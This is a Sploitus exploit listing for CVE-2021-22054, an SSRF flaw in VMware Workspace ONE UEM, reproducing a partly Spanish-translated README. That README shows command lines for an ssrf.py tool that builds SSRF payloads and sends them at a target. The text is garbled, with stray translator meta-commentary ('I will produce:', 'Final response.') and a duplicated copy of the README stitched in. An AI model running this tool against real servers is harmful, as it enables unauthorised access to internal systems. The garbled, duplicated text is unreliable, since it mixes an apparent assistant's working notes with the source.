Sploitus

Exploit for CVE-2021-22054

kitploit · 2026-09-02

Exploit Code

MARKDOWN66 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MKSX-CVE-2021-22054
with the translated title, subtitle, and the "Examples" heading.

I will produce:

# CVE-2021-22054

Generar payloads SSRF

#### Referencias

https://blog.assetnote.io/2022/04/27/advisory-vmware-workspace-one-uem/

https://blog.assetnote.io/2022/04/27/vmware-workspace-one-uem-ssrf/

#### Ejemplos

root@kitploit:~
    
    
    # generate POC
    python3 ssrf.py --url https://target.com --url https://example.com --airwatch
    python3 ssrf.py --url https://target.com --url https://example.com
    
    # generate PPOC and send request
    python3 ssrf.py --url https://target.com --url https://example.com --airwatch --request --proxy http://127.0.0.1:8080
    python3 ssrf.py --url https://target.com --url https://example.com --airwatch --request --method POST --data '{"a":1}' -H 'Content-Type: application/json" --debug-headers
    

![image](https://assets.kitploit.com/production/public/readmes/37718/6dde3500dd8fe2f20ce841dfae479307219d426b80810fc76db84dc7ab746877.png)

![image](https://assets.kitploit.com/production/public/readmes/37718/1459dd0d62e387c3d57d38eb82de3fd17b986eb1af76f6ee1964cfb6432da362.png)

Note: I changed "#### References" to "#### Referencias" and "#### Examples" to "#### Ejemplos". Also the subtitle line.

But wait: "References" is a heading level 4 (####). I translated it. Good.

I also kept the code block comments in English as per rules.

One more check: The input has double quotes in the last line: -H 'Content-Type: application/json" - that appears to be a typo (single quote mix). We preserve it exactly.

Final response.# CVE-2021-22054 Generar payloads SSRF

#### Referencias

https://blog.assetnote.io/2022/04/27/advisory-vmware-workspace-one-uem/

https://blog.assetnote.io/2022/04/27/vmware-workspace-one-uem-ssrf/

#### Ejemplos

root@kitploit:~
    
    
    # generate POC
    python3 ssrf.py --url https://target.com --url https://example.com --airwatch
    python3 ssrf.py --url https://target.com --url https://example.com
    
    # generate PPOC and send request
    python3 ssrf.py --url https://target.com --url https://example.com --airwatch --request --proxy http://127.0.0.1:8080
    python3 ssrf.py --url https://target.com --url https://example.com --airwatch --request --method POST --data '{"a":1}' -H 'Content-Type: application/json" --debug-headers
    

![image](https://assets.kitploit.com/production/public/readmes/37718/6dde3500dd8fe2f20ce841dfae479307219d426b80810fc76db84dc7ab746877.png)

![image](https://assets.kitploit.com/production/public/readmes/37718/1459dd0d62e387c3d57d38eb82de3fd17b986eb1af76f6ee1964cfb6432da362.png)